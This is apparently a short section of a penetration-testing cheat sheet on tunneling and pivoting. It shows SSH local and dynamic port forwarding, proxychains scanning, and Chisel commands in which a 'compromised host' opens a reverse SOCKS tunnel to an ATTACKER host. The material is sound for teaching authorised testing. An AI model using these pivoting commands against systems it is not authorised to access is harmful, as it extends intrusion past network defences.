Tunneling and port forwarding

When the target is not directly reachable, tunneling through an intermediate host extends the operator's network reach.

SSH local port forwarding makes a remote service accessible through a local port:

ssh -L LOCAL_PORT:TARGET:TARGET_PORT user@INTERMEDIATE_HOST

SSH dynamic port forwarding creates a SOCKS proxy through the intermediate host:

ssh -D 9050 user@INTERMEDIATE_HOST
proxychains nmap -sT TARGET

HTTP-based tunneling tools like Chisel are useful when SSH is not available or when only HTTP traffic is allowed:

# Attacker
./chisel server -p 8080 --reverse

# Compromised host
./chisel client ATTACKER:8080 R:9050:socks